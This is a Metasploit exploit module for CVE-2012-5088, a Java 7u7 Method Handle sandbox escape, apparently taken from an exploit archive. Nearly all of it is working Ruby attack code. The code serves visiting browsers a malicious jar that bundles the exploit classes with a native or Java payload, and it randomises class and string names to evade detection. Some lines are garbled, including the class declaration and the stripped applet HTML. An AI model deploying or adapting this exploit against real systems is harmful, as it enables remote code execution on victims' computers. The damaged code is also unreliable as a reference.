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Java Applet Method Handle Remote Code Execution

This Metasploit module abuses the Method Handle class from a Java Applet to run arbitrary Java code outside of the sandbox. The vulnerability affects Java version 7u7 and earlier.

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 false })

def initialize( info = {} )

super( update_info( info,
'Name' => 'Java Applet Method Handle Remote Code Execution',
'Description' => %q{
This module abuses the Method Handle class from a Java Applet to run arbitrary
Java code outside of the sandbox. The vulnerability affects Java version 7u7 and
earlier.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery at security-explorations.com
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-5088' ],
[ 'URL', '86352' ],
[ 'BID', '56057' ],
[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-5.pdf' ],
[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ]
],
'Platform' => [ 'java', 'win', 'osx', 'linux' ],
'Payload' => { 'Space' => 20480, 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA,
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 16 2012'
))
end

def setup
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5088", "Exploit.class")
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5088", "B.class")
@loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

@exploit_class_name = rand_text_alpha("Exploit".length)
@exploit_class.gsub!("Exploit", @exploit_class_name)
super
end

def on_request_uri(cli, request)
print_status("handling request for #{request.uri}")

case request.uri
when /\.jar$/i
jar = payload.encoded_jar
jar.add_file("#{@exploit_class_name}.class", @exploit_class)
jar.add_file("B.class", @loader_class)
metasploit_str = rand_text_alpha("metasploit".length)
payload_str = rand_text_alpha("payload".length)
jar.entries.each { |entry|
entry.name.gsub!("metasploit", metasploit_str)
entry.name.gsub!("Payload", payload_str)
entry.data = entry.data.gsub("metasploit", metasploit_str)
entry.data = entry.data.gsub("Payload", payload_str)
}
jar.build_manifest

send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
when /\/$/
payload = regenerate_payload(cli)
if not payload
print_error("Failed to generate the payload.")
send_not_found(cli)
return
end
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
else
send_redirect(cli, get_resource() + '/', '')
end

end

def generate_html
html = %Q|Loading, Please Wait...|
html += %Q|Loading, Please Wait...|
html += %Q||
html += %Q||
return html
end

end